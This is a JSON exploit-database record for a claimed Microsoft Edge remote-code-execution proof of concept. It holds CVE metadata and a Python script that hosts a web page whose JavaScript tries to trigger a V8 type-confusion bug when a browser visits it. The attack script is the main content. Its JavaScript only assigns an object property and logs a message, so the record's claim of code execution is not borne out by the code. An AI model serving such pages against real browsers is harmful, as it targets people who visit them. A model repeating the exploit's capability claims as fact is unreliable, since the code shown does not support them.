{"exploit":{"id":"EDB-52632","name":"Microsoft Edge 150.0.4078.48 - Remote Code Execution (RCE)","description":"Microsoft Edge 150.0.4078.48 - Remote Code Execution (RCE)","cves":["CVE-2026-58289"],"author":"banyamer","published":"2026-08-10","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52632","path":"exploits/multiple/remote/52632.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52632.py","vulnerabilities":[{"id":"CVE-2026-58289","state":"PUBLISHED","title":"Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability","titleSource":"CVE Program","description":"Access of resource using incompatible type ('type confusion') in Microsoft Edge (Chromium-based) allows an unauthorized attacker to execute code over a network.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58289","cvss":{"version":"3.1","baseScore":9,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C","source":"microsoft","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-58289"},"updatedAt":"2026-11-19T22:19:45.976Z","retrievedAt":"2026-11-25T16:13:47.300Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52632.png?v=2","url":"https://exploitbin.com/exploits/EDB-52632","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52632/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52632/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:        Microsoft Edge  150.0.4078.48 - RCE\n# CVE:                  CVE-2026-58289\n# Date:                 2026-07-10\n# Exploit Author:       Mohammed Idrees Banyamer\n# Author Country:       Jordan\n# Instagram:            @banyamer_security\n# Author GitHub:        https://github.com/mbanyamer\n# Author Blog  :        https://banyamersecurity.com/blog/\n# Vendor Homepage:      https://microsoft.com\n# Software Link:        https://www.microsoft.com/en-us/edge\n# Affected:             Microsoft Edge (Chromium-based) before 150.0.4078.48\n# Tested on:            Microsoft Edge 150.0.4070.x (Windows 11)\n# Category:             Remote\n# Platform:             Windows\n# Exploit Type:         Remote Code Execution\n# CVSS:                 9.0 (Critical)\n# Description:          Access of Resource Using Incompatible Type ('Type Confusion' - CWE-843) in Microsoft Edge (Chromium-based) V8 engine allows an unauthorized attacker to execute arbitrary code over a network by visiting a malicious webpage.\n# Fixed in:             Microsoft Edge 150.0.4078.48 (Stable Channel)\n# Usage:\n#   python3 exploit.py\n#\n# Examples:\n#   python3 exploit.py\n#\n# Options:\n#   --port     Custom port (default: 8080)\n#\n# Notes:\n#   • This is a Proof of Concept only. No public full exploit is available yet.\n#   • For educational and research purposes.\n#   • Requires vulnerable version of Microsoft Edge.\n#\n# How to Use\n#\n# Step 1:\n#   Run the Python server: python3 exploit.py\n#\n# Step 2:\n#   Open http://localhost:8080 in a vulnerable version of Microsoft Edge.\n#\n# Step 3:\n#   Monitor the browser process for crashes or code execution.\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╝\n\"\"\")\n\nimport http.server\nimport socketserver\nimport sys\n\nbanner()\n\nHTML_CONTENT = \"\"\"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>CVE-2026-58289 PoC</title>\n</head>\n<body>\n    <h1>CVE-2026-58289 Type Confusion PoC - For Testing Only</h1>\n    <script>\n        function triggerTypeConfusion() {\n            let obj1 = { a: 1, b: 2 };\n            for (let i = 0; i < 10000; i++) {\n                dummyFunc(obj1);\n            }\n            let arr = new Array(0x100);\n            let confused = obj1;\n            confused.something = 0x41414141;\n            console.log(\"[+] Type confusion attempted.\");\n        }\n        function dummyFunc(o) {\n            return o.a + o.b;\n        }\n        window.onload = function() {\n            try {\n                triggerTypeConfusion();\n            } catch(e) {\n                console.error(\"Error:\", e);\n            }\n        };\n    </script>\n</body>\n</html>\n\"\"\"\n\nclass Handler(http.server.SimpleHTTPRequestHandler):\n    def do_GET(self):\n        if self.path in ['/poc.html', '/']:\n            self.send_response(200)\n            self.send_header('Content-type', 'text/html')\n            self.end_headers()\n            self.wfile.write(HTML_CONTENT.encode())\n        else:\n            self.send_response(404)\n            self.end_headers()\n\nport = 8080\nif len(sys.argv) > 1:\n    try:\n        port = int(sys.argv[1])\n    except:\n        pass\n\nprint(f\"[+] Starting PoC server on http://localhost:{port}\")\nprint(\"[+] Open the URL in vulnerable Microsoft Edge\")\n\ntry:\n    with socketserver.TCPServer((\"\", port), Handler) as httpd:\n        httpd.serve_forever()\nexcept KeyboardInterrupt:\n    print(\"\\n[-] Server stopped.\")\nexcept Exception as e:\n    print(f\"[-] Error: {e}\")","sha256":"fb53539bdd8e3ccc6c177a9cc88692d0397034c44b0db7d17024ad1a57436c06","bytes":4615,"fetchedAt":"2026-11-26T08:55:47.734Z","encoding":"utf-8 (display only; download retains original bytes)"}